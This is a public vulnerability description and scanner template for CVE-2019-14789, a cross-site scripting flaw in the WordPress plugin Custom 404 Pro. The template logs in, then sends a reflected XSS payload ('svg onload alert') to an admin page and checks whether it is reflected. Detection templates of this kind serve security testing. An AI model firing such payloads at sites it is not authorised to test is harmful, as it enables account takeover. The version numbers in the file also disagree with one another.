Custom 404 Pro before 3.2.9 is susceptible to cross-site scripting via the title parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
PoC代码[已公开]
id: CVE-2019-14789
info:
name: Custom 404 Pro < 3.2.8 - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
Custom 404 Pro before 3.2.9 is susceptible to cross-site scripting via the title parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Update to Custom 404 Pro version 3.2.8 or later to mitigate this vulnerability.
reference:
- https://wpscan.com/vulnerability/81ee1df5-12dc-49d8-8d49-ca28d6f5b7fd
- https://wordpress.org/plugins/custom-404-pro/advanced/
- https://nvd.nist.gov/vuln/detail/CVE-2019-14789
- https://wordpress.org/plugins/custom-404-pro/#developers
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2019-14789
cwe-id: CWE-79
epss-score: 0.00851
epss-percentile: 0.74117
cpe: cpe:2.3:a:kunalnagar:custom_404_pro:3.2.8:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: kunalnagar
product: custom_404_pro
framework: wordpress
tags: cve,cve2019,wpscan,custom-404-pro,wp,wp-plugin,wordpress,authenticated,xss,kunalnagar
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=c4p-main&s=%22%3E%3Csvg/onload=alert(document.domain)%3E HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(body_2, "<svg/onload=alert(document.domain)>")'
- 'contains(body_2, "Custom 404 Pro")'
condition: and
# digest: 4b0a00483046022100af129164de5bd330b992cd16f166be92c430132b9249b7c0d2e54a44473e49b9022100acb60a5fd3a30ac09d873f9a4deff0ce61f52de26489d83e2f8dac4b42a51fc2:922c64590222798bb761d5b6d8e72950